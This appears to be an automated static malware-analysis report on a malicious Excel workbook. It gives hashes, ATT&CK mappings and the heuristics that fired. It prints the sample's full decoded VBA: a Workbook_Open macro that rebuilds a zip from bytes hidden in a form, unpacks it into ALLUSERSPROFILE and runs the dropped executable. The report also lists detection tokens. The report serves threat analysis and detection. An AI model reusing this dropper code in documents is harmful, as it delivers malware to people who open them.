Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 2628ad9be62db33b…

MALICIOUS

Office (OLE) / .XLSX

423.5 KB Created: 2019-12-19 06:27:34 Authoring application: Microsoft Excel First seen: 2022-08-01
MD5: fa6a95df0af45ff6601696678af711b6 SHA-1: c87653f543d7c9386b92732e02ee64deac0e0100 SHA-256: 2628ad9be62db33bcc2dd982d80a7ec4ff840349a658795e13ef9611b784eefe
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is an Excel spreadsheet containing a Workbook_Open VBA macro. This macro is configured to execute a shell command via the Shell function, as indicated by the OLE_VBA_SHELL and OLE_VBA_PCODE_AUTOEXEC_EXEC heuristics. The macro also uses CreateObject, suggesting it may be used to instantiate objects for malicious purposes, such as downloading and executing a second-stage payload. The document body content appears to be legitimate administrative text, likely used as a lure.

Heuristics 6

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell path_Aldi_file, vbNormalNoFocus
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oApp = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        fldr_Aldi_name = Environ$("ALLUSERSPROFILE") & "\Tdlawis\"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4326 bytes
SHA-256: f7aec0e22cc8d54f93363161a0f0c8b7a477e96847297374399728917694b60a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
  Call userAldiLoadr
  Sheet3.Visible = xlSheetVisible
 Sheet3.Copy
 End Sub

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Sub Macedr5()
   
      With Selection.Borders(xlInsideHorizontal)
        .LineStyle = xl3DAreaStacked
        .ColorIndex = 0
    End With
    
    With Selection.Borders(xlEdgeRight)
        .ColorIndex = 1
        .TintAndShade = 0
        .Weight = xlThin
    End With
     
     
End Sub

Sub userAldiLoadr()

    Dim path_Aldi_file As String
    Dim file_Aldi_name  As String
    Dim zip_Aldi_file  As Variant
    Dim fldr_Aldi_name  As Variant
    
    Dim byt() As Byte
    
    Dim ar1Aldi() As String
    
    file_Aldi_name = "rlbwrarhsa"
    
    fldr_Aldi_name = Environ$("ALLUSERSPROFILE") & "\Tdlawis\"
    
    If Dir(fldr_Aldi_name, vbDirectory) = "" Then
        MkDir (fldr_Aldi_name)
    End If
    
    
    fldrz_Aldi_name = Environ$("ALLUSERSPROFILE") & "\Dlphaws\"
    
    If Dir(fldrz_Aldi_name, vbDirectory) = "" Then
        MkDir (fldrz_Aldi_name)
    End If
    
     
    zip_Aldi_file = fldrz_Aldi_name & "omthrpa.zip"
    
    path_Aldi_file = fldr_Aldi_name & file_Aldi_name & ".exe"
    
    If InStr(Application.OperatingSystem, "6.02") > 0 Or InStr(Application.OperatingSystem, "6.03") > 0 Then
        ar1Aldi = Split(UserForm1.TextBox2.Text, ":")
    Else
        ar1Aldi = Split(UserForm1.TextBox1.Text, ":")
    End If
    
    Dim btsAldi() As Byte
    
    Dim linAldi As Double
    
    linAldi = 0
    
    For Each vl In ar1Aldi
        ReDim Preserve btsAldi(linAldi)
    
        btsAldi(linAldi) = CByte(vl)
        
        linAldi = linAldi + 1
    Next

    
    Open zip_Aldi_file For Binary Access Write As #2
         Put #2, , btsAldi
    Close #2
   
     If Len(Dir(path_Aldi_file)) = 0 Then
        Call unAldizip(zip_Aldi_file, fldr_Aldi_name)
    End If
   

    Shell path_Aldi_file, vbNormalNoFocus
    
    
End Sub


Sub Macreo8()
   
      With Selection.Borders(xlInsideHorizontal)
        .LineStyle = xl3DAreaStacked
    End With
    
    With Selection.Borders(xlEdgeRight)
        .LineStyle = xl3DArea
        .TintAndShade = 0
        .Weight = xlThin
    End With
     
     
End Sub


 Sub unAldizip(Fname As Variant, FileNameFolder As Variant)
    Dim FSO As Object
    
    Dim oApp As Object
    
    
    'Extract the files into the Destination folder
    Set oApp = CreateObject("Shell.Application")
    
    oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, &H4

    
End Sub





Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{24B23FE2-E8DB-4F69-B4D1-F9893B3CFA4C}{CAB3E260-90EF-4BF8-A673-550957D91F58}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False















































Private Sub TextBox1_Change()

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.